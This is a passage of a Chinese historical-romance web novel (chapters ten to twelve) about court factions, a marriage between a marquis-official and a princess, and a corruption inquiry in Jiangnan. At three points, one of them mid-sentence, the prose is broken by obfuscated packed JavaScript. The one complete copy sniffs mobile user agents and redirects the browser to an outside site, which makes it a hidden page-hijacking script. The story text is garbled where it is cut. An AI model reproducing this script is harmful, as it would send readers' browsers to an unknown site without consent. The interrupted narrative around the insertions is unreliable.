圣上养这么多女儿,不就是用来联姻的么?只不过这次不是用来笼络大楚的臣心,而是要与蛮夷交翁婿之情。多年前,连皇后生的、最宠爱的、性子最温和柔顺的女儿都舍得出去,而今与义律议和,大楚占了上风,圣上也还是允了义律求亲之请,答应下嫁公主以结同心之好。长宁公主性子跋扈,长乐公主性子也跋扈,常年是对喷的两个炮仗,不讨人喜欢。而她们的生母,华妃是常年无宠的,寇妃是没脑子的,乏善可陈,多说无益。 不说宫闱,那就说朝野。 魏王和赵王在圣上那里都不很得脸。赵王自不必说了,他废了不少心思迎娶沈明枳就是赵王授意。因为圣上特别喜欢沈明枳,偏心是常事,或可挽救被宣国、长宁“不慎”摔碎的赵王颜面。至于魏王,太子死后他就是长子,理应为储,但圣上没有流露出半点要立他的意思,反倒纵容赵王与之相争。 女儿之于圣上是联姻耗材,之于魏、赵两王也不过如此。和亲,就是一步死棋。不痴不聋不作当家翁,圣上对于魏、赵两王的精明算计,是睁一只眼闭一只眼。 不说朝野,那就说边疆。 赵王派之所以挑选张四郎这个平平无奇的少年,只因为他的家族太过耀眼,赵王需要张家这样累世兵戎的老牌门阀作为军中内应。而魏王看中没有根基、却富才名的新科进士,更是救过补阙:拥立魏王的都是荥阳郑氏这样扎根军旅的勋贵门阀,清流草根鲜能跻身其列,被骂“粗鄙武夫”更是家常便饭。 诸如此类,有因有果。 郇寰不禁又思量起,沈明枳愿意嫁他所图为何,虽然这个问题他早琢磨了千千万万,心中定论也早就沉浮过日日夜夜。 他并非良配。 她亦非良配。 门外传来了风雨交加声、电闪雷鸣声、淌水声、男男女女欢天喜地的说笑声,最后是宛如轻扣心鼓的敲门声。 沈明枳回身退到了桌边,郇寰用身子挡去风雨,小心开了门,“如何?” 来人是胡全德身边的亲随,恭敬一揖:“回郇侯、公主,母子平安,老爷让我暂谢二位。夜色渐深,二位早些休息,热水等一应备好,只待明日,老爷还要亲自来谢。” 郇寰虚虚比了个拳,道一声恭喜,随即阖上了门。 整座胡府都沉浸于这样雀跃的欢腾里,天亦如感人心,雷公电母齐来相助。可门阖上了,种种人世欢笑被一起关在了外面,湛湛长空,斜风骤雨,在凉夜里游魂般地晃荡,半分曾经驻足门前的影子也投不进来。 因为雷鸣电闪,那亲随的声音很响,“母子平安”四个字几乎是喊出来的。现在人早就走远,屋中梁下犹自绕着这样阖家团圆的幸福声音。 郇寰缓缓转了过去。 “母子平安”这四个字太响了,震得他们都耳膜疼,尤其是沈明枳。自记事以来,所历种种皆生枝节、都有意外,“平安”二字太过难得,难得到远超“母子”二字能带来的摧心剖肝之苦。 郇寰凝望她的背影片刻,几不可闻地叹息一声。叹息过后,他转入了屏风后的黑暗,点了灯,又翻起了靠在床角的红木立柜,“夜里凉。” 沈明枳有一瞬失神,撑着桌沿站了起来,自屏风与梁柱间的一人宽的间隙里,她得见郇寰从柜子里抱了一床胡府为之准备的被褥,然后连人带被所有响动都入了屏风之后。 恍如铺床那人就是故人,所立间所仍是坤宁,今岁还是升平九年春。 十指不沾阳春水,更是连重物都未亲自提过,大姐姐却也像这样,亲自给她铺过被子。 屏风后响动渐熄,过了一会儿,郇寰的声音这才打破了这虚无缥缈的旧梦:“我去叫热水。” 沈明枳垂睫遮去眼中情绪,应声走了过去,见榻前地上的一床被褥,眉梢一扬,抬头目带询问地看向弯腰在案牍间整理东西的郇寰。郇寰注意到了她的目光,一壁叠着桌上的纸张,一壁笑着解释:“殿下自然是睡床上。” 沈明枳嘴角一抽,心中早有百儿八十个念头起伏,但面上不显,居然还煞有介事地点点头,以示认可乃至于隐晦的嘉奖。 得此反应,郇寰心中纳罕,以退为进、以守为攻,是他给今夜会面定下的调子,而沈明枳呢,似一直很心照不宣地契合上了他的调子,你来我往,有来有往,执白让黑将这盘棋下得津津有味。可现在,就如细石沉大海,一点点波澜也溅不起,先前对弈的所有乐趣亦随之不复存在。 但他略略一想,倒也合情合理。 攻守之势何如,沈明枳最清楚不过,拙劣地陪自己演戏,她耐心有限。 郇寰撂下手上的案卷,大步跨出了后堂,等吩咐好一应热水准备回来时,沈明枳正就着羸弱的灯光,仰头负手观赏着屏风背面的浮雕。 “端王爷已在外宿下,殿下不必担心。”郇寰也走了过来。他在这里住了好些天,却从未细看这面屏风上的桃源图景,他本以为应的是《桃花源记》的题,这一看居然是一组画,起题承题,自红尘入世至世外隐逸,竟能引观者联想出荡气回肠的一辈子来。 郇寰正看得出神,突然发现空荡荡的屏风前哪有沈明枳的影子,屋内也静悄悄绝无脚步呼吸,他莫名心慌,转身就要往屏风正面去寻,不妨沈明枳迎面走来,脚下急刹不住,就此让沈明枳撞入怀里。 这般近地感受一个人的呼吸和心跳,郇寰浑身紧绷,凭他官场往来练出来的伪装本事多么精湛,此时此刻却根本藏不住开口说话时的僵硬,“没事吧?” 沈明枳抬起胳膊隔开两人的距离,余光扫向两人脚下。 郇寰眼皮一跳,连忙松开踩上沈明枳裙角的靴子,用脸上的讪讪掩饰自己的不自然。 “殿下倒着看的?” 他这么着急地岔开话题,无疑将今夜所有的窘迫都漏了干净,沈明枳了然,不咸不淡地应了一声:“不然?” 郇寰看的是出世,而沈明枳看的是入世。妙就妙在这里,正着看、反着看,这故事都是一样的动人心魄。 “这屏风不错。” “确实。” 郇寰在其中看见了自己,一如三代以来成千上万的仁人志士一般,看见了鸿图大展的春风得意,也看见了功成身退的洒落豁达,谋国谋身,功得圆满。但沈明枳看不见自己的,又或者说在这样一幅专为须眉称颂彪炳的出世入世图里,根本不能看见自己。 不过,她看见了梅如故,便好似看见了自己。 “说正事吧。” “主子!我回来了!”这一声欢呼紧随其后。 郇寰和沈明枳对视一眼,从屏风后走出去给冬至开门。 携风带雨,惨惨戚戚,但冬至心里却高兴得像燃了一盆火,喜气洋洋的满面红光:“主子,查到了!” 可随即,郇寰的阴沉如同一盆冷水,比滂沱暴雨更加迅猛凶戾地浇灭了他所有的心气。冬至寒毛倒竖,在看见屏风后走出的沈明枳后,恨不得掐死方才拍门高呼的那个自己。 “进来吧。”郇寰堵在门口,冬至呆在门外,沈明枳觑了觑冬至脸上碎了半边的笑容和郇寰那千仞绝壁般威压的背影,无奈开口。 冬至一溜烟蹿了进来,朝沈明枳拜道:“谢公主,参见公主。” “查到什么了?”郇寰再度关门。 冬至偷瞟了一眼沈明枳,探寻地望向郇寰,见郇寰拖开一张木墩,坐在了桌前,全然不避讳沈明枳还站在一边,“这里没有外人,说吧。” “是,主子。这次我按照鄢家人的口供,去了隔壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冬至摇头:“还没查到。哦,还有一件事——”说着,冬至刻意又压低了嗓音:“与按察使胡全德的夫人有关。” 郇寰与沈明枳再一对视。 “胡夫人娘家姓朱,江西道信州府人。朱家行商,后来举家搬迁到了临川府,做瓷器生意。可普天之下的瓷器哪能绕过漉水瓷都?但凡与漉水沾上关系,就不得不与鄢汝言打交道,朱家与鄢汝言私底下就有不少生意往来。” “有实证?” “有,生意上的不少,人情上的也不少。” 郇寰的脸色彻底沉了下来。朱家人不可能不知道鄢汝言一个知县背后的倚仗,若连鄢汝言的底细都查不出来,他们也发不了家;而胡全德左右不靠的立场更是一目了然,什么钱能赚,什么钱不能赚,能和什么人一起赚钱,什么人一定要敬而远之,他们难道不清楚吗?他们不清楚,胡全德这个老油条岂会糊涂? 麻烦了。 “若无要事,明天再议。” 冬至朝沈明枳一礼:“那公主和主子早些休息。” 大门开开合合,风雨来来往往,烛火摇摇晃晃,身姿影影绰绰,心中起起落落。 他们两个又面对面,坐在了桌子的两端。分明一盏茶的功夫前,他们近得只有一衣相隔,现在却如刘汉与项楚、海角与天涯。 沈明枳在静静等他重续旧题。可有的时候、有些机会,一旦错过了就挽不回。比如现在,真到了要与之坦诚布公的地步,郇寰却念不出早就打了不知多少次的腹稿。论起雕琢钻营,从前会试作文也比不过这篇“剖白”,但琢磨过深即失天真,而他们两人之间最缺的就是一个“真”。 终于,郇寰艰难地开口:“南海道一行,受苦了。” 话一落地,他霍然想起了玉谿生那脍炙人口的一首诗。 问君归期未有期,巴山夜雨涨秋池。 何当共剪西窗烛,却话巴山夜雨时。 他不该提起南海道的,南海道断送的岂止是乱臣贼子的狼子野心? 沈明枳没有接话,只是起身绕进屏风,“地上潮。” 弹指之间,郇寰眼中起了一星光亮,可这一星光亮就是出没风波里的一叶舟,很快就被潮打浪吞,消失了踪迹。 “还好,不算潮,臣就睡地上,多谢殿下怜惜,因为……” 沈明枳一愣,扯出了一个自嘲的轻笑。可这个笑很快就凝住了,在郇寰逐渐沉下去的声音里凝固在脸上,直至屋内重归深潭静谧,那个似嘲又讽的笑还淡淡萦绕唇畔。 “我想你许久了。” 10. 第十章 深闭门 飞龙在天,仲夏端午。 圣上勤政,除了五月初五这样的重日大节,鲜少出皇城临幸行宫。沈明枳也只在四五岁时来过曲江行宫,再远的诸如化隆京郊外的甘泉宫等,就从来没有去过了。 上午办完端午大祭,圣上便领着宗亲百官踱至曲江,观龙舟竞渡,行宫内则由皇后做主,大宴命妇贵女。等正午过,帝后齐出,分席男女便可自由往来,一同等待下午的那场龙舟彩标。 沈明枳记得,她是正午过后入的行宫。 郇寰得陪侍御驾,一大早就要出门。沈明枳既不参加大祭,也不喜行酒宴饮,且那日临川刚好陪着鲁国长公主出京未归,她一个人只会觉得悻悻无趣。最重要的是,她身体不适。 她不认行宫内的路,但她的戒子足够贴心,江边竞渡还在高潮,他便私自溜了出来接她。自偏门至正殿的路无比漫长,但五步一楼、十步一阁,处处景色似都印证了唐人旧赋,“廊腰缦回,檐牙高啄;各抱地势,钩心斗角”。 “阿姐稍候!”戒子不知看见了什么,一眨眼跑没了影,等他再回来时,一朵艳胜桃李的石榴花就正正开在了他的掌心。 端午又曰“女儿节”,家家妍饰小闺女,簪以榴花,这是习俗。沈明枳已为人妇,但戒子盛情,实难谢却,她接过了花,刚要叫月珰帮她簪花,就被戒子抢先:“阿姐,我来给你簪吧。” 那是升平二十二年,他才十二岁。沈明枳不算矮,可他已经很高了,不用踮脚,亦不需仰头,那朵光辉盖过天日的石榴花就开在了沈明枳的鬓边。 戒子紧着眉头“啧”了一声。沈明枳伸手抚着花瓣感受着生命的温柔,笑着看向他:“怎么了?不好看?” “我本以为这朵就是那一树石榴花里最美的了,谁知人比花娇花无色,花在人前亦黯然。” 沈明枳听着很受用,“你什么时候也学得油嘴滑舌了?” “这是事实,月珰姐姐你说对不对?” “十七殿下的眼光向来一流。” 然后说说笑笑,沈明枳走得有些累,他们就进了假山后、柳荫里的那座小阁休憩。 “不焚艾反而熏香,咄咄怪事。”戒子边用袖子揩着椅子,边嗅着空气中的芬芳,边奇怪道。 “行宫规矩,也许不同。”沈明枳由月珰搀着,小心坐下。 戒子走到了后堂:“阿姐,果然有人在此熏香。”他环顾四周,窗户都严严实实地关着,找遍了东西厢也不见侍候于此的宫人。 这时,门外来人了,是一个锦衣玉带的陌生男人,见阁中有人,便在门口踟蹰:“打扰几位贵人了。” 月珰上前应付。他们具体说了什么,沈明枳记不清,大概就是此人赴宴要出行宫,结果在花园里绕来绕去丢了方向,月珰给她指了路,可没有一会儿,路痴般的那人又不得不绕了回来。略略思忖,沈明枳便让月珰亲自给他引路。 正对着大门,既热且闷,沈明枳本就觉得虚弱,被烈日一晒,整个人都要化了。 “到这边坐会儿吧,这里凉快,等月珰姐姐回来了,我们再去正殿。” 沈明枳扶着小几站了起来,随手一捻,就见指尖沾上了尘埃,桌边也留下了自己的指印。 戒子不禁奇怪:“这椅子一尘不染,屋内也熏着香,明显有人,可这桌子怎么这么脏?” 沈明枳脚步虚浮,一时间来不及思索蹊跷,由戒子扶着走向阴凉的后堂。 “阿姐,你今天很不舒服吗?” 沈明枳的笑容仍然虚弱:“不是。” “阿姐病了?” 沈明枳摇摇头,“也不是。”但见戒子满面担忧,沈明枳心中无奈,伸手虚抚了下自己的小腹,随即笑着望向他。 一瞬。 两瞬。 三瞬。 戒子明白了,可忽然,他猛地一转头,飞一般冲出了后堂。 “怎么了?” “可恶!”戒子猛地一掌拍在门上,清脆的金属相击声便从门板后传来,随即是他更加用力的踹门响动,地崩山摧不过如此,可大门紧锁,周围的窗子也同样锁死。 “嘶——” 戒子浑身一震,再度冲回了后堂,就见沈明枳跌倒在地上,面色苍白毫无血色,而她秋香色的裙子上,隐隐洇出了一团深红。 “阿姐!” 他已经冲出了几步,可蓦地,他的脚步沉重如铁,眼前景象也逐渐模糊,天旋地转,景光黯淡,而伏在地上的沈明枳却如同揽尽了华光,不,她就是此时的光,是一团正熊熊燃烧的光。 涸辙之鲋。 他已经混乱的大脑里突然就浮现了这四个字,而充斥耳畔的全是或轻或重、或急或缓的喘息。头重脚轻,他终于站不住摔了下去—— 眼前是一片漆黑,只有远方如同星子般的光亮,勾勒出一条崎岖小路。 沈明枳认得这条路,一边是东宫的梅园,一边是御花园的莲花池。暗夜寂静,万籁无声,方才端午盛日的混乱遭遇似是上辈子的往事。 她一扭头,耳畔只剩下一声“噗通”。 刚才她分明站在岸上,现在已经泡在水里。五年岁久,湖水更加冰冷彻骨,丧亲之痛更加贪婪。 她要死了。 她早该死了。 将死之人却有如此感慨,或许可见,她并非真心赴死。 可若得生,何须死。 周围绝无人声,亦无光亮,万物低垂,惟她一人下坠。鼍浪终溃于平静,心火终败于将熄,寂寂无声,一切都将归幻灭。可是忽然,岸上一声尖叫刺穿了如幕永夜,也贯穿她的心脏:“香香!” 一只手就随着这声呼唤把她拉出水面,肌肤相触时的温暖未曾随湖水的溃退而消散,似是随童年远去的人在无声安慰孤立无援的她。 我在,别怕,你不是一个人。 从小到大,她最喜欢听这样一句话。 可沈明枳睁开了眼睛。 她安然无恙地躺在床上,目光所及皆是黑暗,耳边轰鸣着的是自己参差不齐的喘息,脑中一团乱麻都似被深埋的恐惧碾过,跃然一切杂念之上的只有一片茫然。 梦见端午遭际稀松平常,可她居然梦见了故太子妃梅问香。她是梅如故的双生妹妹,昨日见了梅如故,会梦见与之同胞却长得不甚肖似的她着实正常。但她已多少年不曾入梦,甫一入梦,竟是这样惨烈的一场死别。 上穷碧落下黄泉,两处茫茫皆不见。 听其呼吸而得窥其心。 “做噩梦了。”郇寰的声音沙哑低沉,不经意间透露出了累日操劳的疲惫。 沈明枳以为是自己吵到了他,想道一句歉,嗓子却干涩得一个音都发不出。而郇寰似是心有所感,用那只被她枕在颈项间的手,轻轻摩挲她露在被褥外的后背。略显粗糙的指腹蹭过细滑背脊的瞬间,似是你来我往、一言一语,该说、想说的都在这轻触的不言之间。 其实郇寰一直醒着。他一向睡得浅,更兼大梦一场而心潮不平,身侧躺着的、臂弯里枕着的是沈明枳,那种合浦珠还、失而复得的不真之感随着空气中沈明枳的气息掺杂着淡淡的药味从四面八方笼了过来。这感觉那么轻,鸿毛细雪般蒙在脸上,却让人喘不过气。 “水。” 片刻,郇寰收手,在黑夜里小心翼翼地坐了起来,奈何这榻太吵,“咯吱”一声突兀在静寂的夜里。他压着脑中再度翻上的混乱,扶着床沿,摸索着去找自己的上衣,忽听沈明枳起来的悉索声,连忙开口:“我来就好。” 沈明枳没理他,先一步胡乱扯起了衣服裹到身上,从床尾爬了出去,谁知在黑暗中刚走几步,就“哗啦”一声撞倒了左厢山堆似的案卷。 郇寰吃了一惊,也不管衣服了,凭着这几日来对这间屋子的了解,几步跨到书桌旁先点了灯上前查看,却见自己的中衣和长袍正叠在一起松松垮垮地堆在她的身上,她躬身被滑落的案卷围绕,整张脸都埋在头发制造出来的阴翳里。 “怎么样,撞疼了?”郇寰将灯搁在案上,伸手就要去搀,却在眼角不经意的一瞥间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一回侯府宴饮,几位年轻的世家小姐在郇八娘的院里起了争执,碎了好几只八娘心爱的杯子,八娘一时火冒,瞧着这瓶子平平无奇,估摸着应该值不了几个钱,就抄了一砸镇场子。此后侯府上下每每调侃郇八娘,都不免要将这只早就碎成千万片的瓶子“拼”回来,故而这瓶子上的牡丹有几朵、叶子有几处齿印,多次经手此梅瓶的郇寰和沈明枳清清楚楚。 漉水在前代也不是官窑,但瓷都之名流扬已久,这瓶子样式一般,会有匠人的巧思不谋而合实属正常,就是这瓶子也叫“青瓷刻划缠枝牡丹纹梅瓶”,这让惯爱多想的两个人不得不去多想。 率先甩下胡思乱想的郇寰站了起来,隔着衣物搀扶住沈明枳,“东西我来收拾吧,时辰还早,再睡一会儿?” 沈明枳仍困混乱。 灯光这么暗,眼花看错也是常理,可是先前那只杯子,当真与故太子生前视若珍宝的一套杯子一模一样。 可是! 凡是最怕的就是“可是”二字。 再困得久些就要露绌,沈明枳不得不起身。可头昏眼花,她一瞬没站稳,下意识拽了郇寰手臂一把,这才发现他还光着上身。 郇寰很不介意就这么光着被她看,但沈明枳错开目光,推开他的手,借着那豆大的灯光,脚步虚浮地绕过屏风摸到桌边喝了点凉水。凉水下肚,她仿佛这才又活了过来。 这里面一定会有猫腻。 这个念头跃出脑海时,沈明枳顿觉心悲。 郇寰绝对会去查的,且他手上有人有权,一查到底不是难事,至于他会查到什么惊天秘闻抑或是一无所获,谁也不知道。可眼下,如若自己说出了故太子茶杯的臆测,那所有的未知都会在魏赵相争之中浮出水面。 网撒下去、箭矢放出去,总有被捕的、总有正中眉心的。她查得掣肘,那就让专人办专事,人尽其才,同样对于拥护赵王的郇寰来说,物尽其用,这无疑是珠连玉映、好事成双。 可端午盛日,他明明知道了是谁布下的罗网害了他们的孩子,却守口如瓶、沉默不言。等到自己机缘巧合知道了真相,他也三缄其口不言真心。 食君之禄,忠君之事。他的君就是赵王,他要替赵王卖命理所应当。所以沈明枳不是深恨他无情冷漠,也不是哀痛于弦崩瑟阻,更非走不出端午之丧,只是她永远也不能相信郇寰了。 像他们这样风雪之中兀自安寝的人,信任与真心本就少得可怜,无奈通过姻缘牵绊在了一起,却如眼前这扇门,开开合合数不清有多少次,雨丝风片来来往往不知道落了多少点,心房却一直是锁死的。 11. 第十一章 胡全德 “郇侯早啊。”老来得子,本该喜不自胜的胡全德脸上全是勉强。若早先不知道胡全德的发家史,郇寰绝对会感到诧异,可一大早听冬至说完了胡全德的这五十几年,再添上自己的来意,胡全德就算是哭也是合情合理。 郇寰虚虚朝他一礼:“胡臬台也早啊。” 胡全德脸上的笑僵住了。 “玉笋呈祥,喜得麟儿,阖家大喜啊。”郇寰朝候在门边的冬至招手,冬至便捧着一只匣子跨入了大厅,“薄礼略备,愿祝德门生辉,雏凤新声。” 胡全德嘴角的肌肉稍稍一垮,随即又高高提了上去:“侍郎与公主心意贵重,胡某还未谢过昨暮之事,这礼——” 郇寰接过匣子,塞到胡全德手中,“不是本司的礼,只是公主殿下一人的礼,殿下说叨扰一夜过意不去,更逢胡家弄璋,犹怕礼太轻,臬台可不能拂了殿下的好意。” 抬眼看过郇寰不及眼底的笑意,胡全德只能捧过匣子,半挪了身子朝门外浩浩荡荡的初晨天光虚虚谢过隆恩,这才将匣子递给下人,缓缓直起了腰,面对向紫袍加身的郇寰,“看来侍郎大人是有公事相商?” 两个人走遍了客套的流程,让了座,便各自坐了上位与左首,等厅内闲人退避,郇寰开门见山:“鄢汝言盘剥地方攫取暴利,可抄没家财寥寥无几,本司追查良久,这才在隔壁的临川府找到一些蛛丝马迹。” 胡全德似是将随后事情的走向全都料到了,可他是多少年的老刑名,又是多少年的官混子,大是大非面前的“不动声色”四个字就似为他量身定做的。这些天的接触让他稍微摸清了一点郇寰的性子,故而他也不藏掖,坦白陈情:“侍郎大人想问的是贱内朱家之事吧?” “臬台大人爽落。” “大人是想问,朱家与鄢家往来我是否知情?那胡某便直白地说了,此事,我的确知情。” 郇寰微一挑眉。 桌上无茶,胡全德本想顺手端茶,此时只能空落地蜷起手指,“但我也是昨夜才知道的实情。” 郇寰轻轻扣了一声桌面,“哦?” “家丑不宜外扬,但公主既于我胡家有恩,向公主的驸马多说也无妨。”胡全德直白地望向左首的郇寰。 称谓的变化就是立场的变化。郇寰以公论私,他便也可以以私论公,且他琢磨得出,公私与否,只要能达成最终的目的,郇寰不会在意的,他最看重的就是结果。 果然,郇寰微一抿唇,头稍稍向后一靠,一幅洗耳恭听的模样。 胡全德道:“胡某才疏学浅,快近而立才春闱得中,是天元末年那一榜的三甲末流,蒙天恩得赐同进士出身。” “三十老明经,五十少进士。胡大人之才不必自谦。” 胡全德真诚道:“才疏学浅得看和谁比。胡某承命按察出京,也曾听人说起过郇侯,您一举登科时不过十八吧,升平十四年二甲头名的传胪。我记得郇侯您的座师也是西台霍先生吧。” 天元末年那一科的主考官就是菁明书院的大儒霍伊兰,郇寰登科的升平十四年也是由他总裁。升平十一年秋,那时的都察院左都御史卜栾枝逝世,霍伊兰便顺位顶上了左都御史之位。前朝称御史台为西台,大楚开国实施“科道并行”,改御史台为都察院,左都御史作为都察院的首脑便是台长,故而旧制已改,“台长”之称犹在。霍伊兰是升平一朝有名的御史,斯人已逝,后人以“西台”代称,也算缅怀。 以师生关系来网群罗党,郇寰不吃这一套:“的确如此。不过自我入仕,走的便是刑部的路,若非公事,御史之门少有造访。” 胡全德叹息:“是,是如此,胡某当年走的也是刑部的路。说句不好听的,春闱头几名去哪儿去不得?吏部、察院任君采撷,胡某是走投无路投的刑部、干的刑名,郇侯您呢?如何这般想不开?” 郇寰敛容:“就当那时我年轻气盛,想不开。不过醉翁之意不在酒,胡大人说起陈年旧事,必有深意。大人既知道我十八登科,那也应该知道自升平十四年至今,刑部当家的萧尚书算是我母家叔祖,我走刑部自家的路总比走察院、吏部的路容易,大人之意,就在此间吧。” “什么也瞒不过郇侯。”胡全德脸上露出了一点沧桑,“胡某虽意指于此,却绝无半分戏谑。凭您的家事、才智,若真想走别的路岂会不通?难是难了点,但大差不差,还是一条坦途。但还是走了刑部不是吗?走刑部难道是为了省事吗?京中论勤业,后起之秀里首推二人便是您和当今的总宪柳大人,持赵王剑、斩魏王贼,也不需在庸牍文书里、为了与党争毫不相干的事情拼命至此吧?” 闻言,郇寰坐正了身子,目光直逼胡全德。 “心悬赤城峤,志向紫阳君。您择刑部是为了志,是人尽其才,我择刑部是情非得已。胡某祖上三代布衣,富贵无、忠名无、才权无,耕躬难以自给,徭役累如铁枷,荒年不免于死亡。妄读圣贤之书,只是为了‘活’,香火赓续,唯此一念。朱家嫁女,幸蒙不弃,供给我读书应考,入仕之后更前后斡旋、左右打点,操持家里,抚育儿女,方才有了我今日一身三品官戴。” 言及此,胡全德眼中已有泪意,郇寰阖上眼,轻轻吐息。 “人言可畏,外头传她善妒,实则,她只是脾气硬、性子强。家中老妾是十几年前她做主抬的,缪氏本是她的女使,后来打听到,缪氏唯一的弟弟在内宫当差,她便将缪氏塞入房里,给了名分。缪氏有孕是意外,故而昨夜生产,她便想——” 郇寰睁眼看向胡全德。 胡全德这是将自己的老底都亮干净了。 其实要处理这样的烂摊子不算麻烦。胡全德与魏王派并没有什么往来,他要洗脱嫌疑,只肖一句“全不知情”,然后将摊子一卷都栽在朱家头上,再寻善妒犯七出为由与朱家一刀两断,顺理成章将缪姨娘扶正,便又可以与宫里的中贵人结下牢不可破的利益纽带,一举多得。 可他不惜拼上仕途,也要保下于他有再造之恩的朱家,郇寰得称他一句可敬。 但可敬又如何? 人心是偏的,郇寰的心更是硬的。 他嗤笑一声:“所以呢?” “所以,我将事态的严重全与她说了。郇侯常在京中,更尚了主、与皇家有翁婿之交,应当知道宦臣内监,不可与之交,更不可与之恶交。” “的确如此。” 胡全德叹息:“因为公主殿下,她失了机会,心中惶恐,近来漉水之事沸沸扬扬,郇侯您这位化隆来使又是响当当的赵王肱股,她更觉不安,便将朱家之事尽数与我说了。我本想寻个机会向您坦诚,谁知还是晚了一步。” 郇寰折了折自己整齐的袖口,“晚不晚不是这么看的,胡大人您最清楚了,什么时候坦诚都是个‘晚’,唯有行动才算早。” “是,是这样,可郇侯,我要怎么做呢?我能怎么做呢?黄河清而圣人出,可黄河什么时候清过呢?亦或者圣人出而黄河清,可世上真有圣人吗?悬水河不会清,圣人出不出于这春耕秋收又有何裨益?百姓还是要活的,禽兽还是要吃人的,这一切的一切,还是要这么走下去的。我既为江南道按察使,纠官邪,戢奸暴,平讼狱,雪冤抑,以振扬风范而澄清吏治,这是我的职责,是我的权,可郇侯您不知道吗,这一桩桩一件件真的全能由我来做主吗?便是您,在化隆那个富贵地里,便是袭了爵、尚了主、官拜三品,真的就没有遇见过‘无可奈何’‘情非得已’之事吗?” 胡全德被自己的话逼出了激愤,他不该在外人面前这样失态的,可他说的都是深埋心底、不可告人之话,是真,是最真的话,只有“真”才能打动眼前这狂风骤雨而岿然不动的殿前阎罗。 他继续说道:“非黑即白,墨色淡了就是灰,纸笔之间也没有这样的存在。在江南道,江南的天就是我头上的天,飘来了一片叫鄢汝言的云,他要下雨你怎能奈何?你能撑伞遮一人之风雨,能筑堤防万人之洪灾,可雨落下了,谁能不被沾染,谁身上能干干净净不被溅上一块泥点子?我入仕,是为了活,入了仕,便是要让更多人活,只要能活,谁会去管今天淋的是哪家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514309|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的雨,明天又要听何处的雷!郇侯,抬抬手吧,逼别人也就是在逼你自己。” 一夜狂风骤雨,破晓黎明时天终于晴了,现在那万丈辰光透过片片云彩,正不远万里地给大厅送来一片和煦。郇寰就坐在这样的和煦里,静静接受着胡全德招来的风雨。不,呼风唤雨,凡人岂有此能,胡全德只是掀翻了江南道的屋顶,让这些风雨全都暴烈地浇灌在他的眼前。 郇寰再度闭上了眼。 官至三品,已是无上尊位,可常人爬得再高,总越不过天去。雷霆雨露,俱是天恩。可雨大了,淹了堤岸死了人,这还是天恩吗? 郇寰莫名生出了一种厌烦。这便是最可笑之处,胡全德说的句句在理,他也字字清楚、历历在目,可为什么要说出来,大家心照不宣的事情为什么又要捅出来?优游林下而不愿见盛世恶疮,掩耳盗铃,这便是最可笑的地方。 他蓦地想起了立在房中的那架屏风。他看的是出世,沈明枳看的是入世。而他这番已在仕途,倒不如从未来过。可这样想,未免过分:现在是升平一朝,魏赵党争纷乱不定,故而这江南富庶仍在漩涡之中;等赵王即位那日就好了,尘埃落定,他们便可以着手内政,肃清时弊,大革积祸。 路经此处,行差踏错都是一个死字,局势千变万化容不得他举棋不定。这便是他的优点了,一旦认定便不会犹豫,郇寰道:“臬台大人,不是我不抬手,这手本就不是我的。” 胡全德凄然:“行江南道按察使,总理漉水爆炸案一切事务,若非是郇侍郎的,这手又是谁的?是公主吗?还是南巡的钦差阎阁老?” 郇寰不说话,只是望向他,他本就委顿的一张脸更比死尸还要灰败。 胡全德明白,可现在,赵王的手就是郇寰的手,郇寰的手就必须是赵王的手,不然朱家就要给鄢汝言陪葬,他自己更不必说了,辞官与站队必择其中之一而余生困顿。 厅内一时静默,唯有厅外庭中鸟鸣四起,叽叽喳喳尽是入夏时的热闹。 胡全德坐不住,郇寰也同样被这日光照得睁不开眼睛,他向边缘坐了坐,从袖中取出折好的一叠纸,起身递给了胡全德。 “这是?”胡全德看过那几张手稿,不解地望向已经踱至厅中的郇寰。 郇寰侧过身,“每张稿纸上都有作者,劳臬台大人找一找,纸上的这些究竟是真品还是赝品。” 一息。 两息。 三息。 胡全德捏着纸张的手开始发抖,等郇寰说完最后一句话,他的手已经抖如筛糠,“此案过后,一笔勾销,互不干扰,各自做事。” 郇寰跨出了大厅,在自己的厢房屋前檐下吹着习习微风。 胡全德必然以为,他的手就是赵王的手。事实上恰恰相反。打肿脸充胖子的事他不曾做,可偶尔做一回也无伤大雅。胡全德绝对不会休妻的,若自己真把事情闹到鱼死网破的地步,这江南道的烂摊子由谁来料理就要让赵王一系头疼一阵,毕竟屋顶是他们拆的,补不好漏了雨,圣上就要拿他们是问。 不,不是他们,只是他郇寰。 稳扎稳打地把事情办完,不贰过,不迁怒,这便是他南下此行最大的指望。就如胡全德说的那样,逼别人就是逼他自己。 现在让胡全德去查瓷窑手稿,若无事皆大欢喜,若有事,那就让他来办,正好那些关于他暗中通魏的流言不攻自破,他还能清清白白当他的家。 胡全德的家保住了,那他自己的呢? “主子?”冬至走了过来叫回了郇寰游走的神魂。 “殿下走了?”郇寰揉揉眉心。 冬至应是:“嗯,和端王爷一起回的苏州。哦对了——”冬至连忙从怀中取出一份大红洒金的邀帖来,“这是姜家托人送的,姜老太爷要过八十大寿,听闻主子南下办案,便送了一份邀帖,还嘱咐说办案为要、得闲就去看看,老太爷还挺想您的。” 郇寰没接那帖子,回身进屋,脸上的严肃却化了开来:“姜老太爷哪是想我?是在替他的儿孙想前程。” 12. 第十二章 雕花楼 冬至追了进去,“那主子您是不想去了?” “这岂是我想不去就能不去的?” 冬至一愣,望向他的背影,“您不想去便不用去,又有谁能逼您?” 郇寰眼前又晃过胡全德那张如丧考妣的脸,耳畔又响起了胡全德所说的“无可奈何”与“情非得已”。谁都能逼他,唯独他自己不能,自己和自己过不去,走上的就是死路。 